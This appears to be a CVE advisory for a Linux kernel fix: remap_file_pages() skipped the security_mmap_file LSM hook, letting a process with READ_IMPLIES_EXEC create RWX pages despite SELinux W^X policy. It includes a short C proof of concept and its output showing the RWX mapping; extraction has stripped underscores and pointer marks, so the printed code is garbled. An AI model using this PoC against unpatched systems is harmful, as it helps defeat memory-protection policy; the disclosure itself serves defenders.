CVE-2024-47745: mm: call the security_mmap_file() LSM hook in remap_file_pages()

In the Linux kernel, the following vulnerability has been resolved:

mm: call the securitymmapfile() LSM hook in remapfilepages()

The remapfilepages syscall handler calls dommap() directly, which doesn't contain the LSM security check. And if the process has called personality(READIMPLIESEXEC) before and remapfilepages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by securitymmapfile LSM hook in the remapfilepages syscall handler before dommap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { sizet pagesz = sysconf(SCPAGESIZE); int mfd = syscall(SYSmemfdcreate, "test", 0); const char buf = mmap(NULL, 4 pagesz, PROTREAD | PROTWRITE, MAPSHARED, mfd, 0); unsigned int old = syscall(SYSpersonality, 0xffffffff); syscall(SYSpersonality, READIMPLIESEXEC | old); syscall(SYSremapfilepages, buf, pagesz, 0, 2, 0); syscall(SYSpersonality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", ORDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]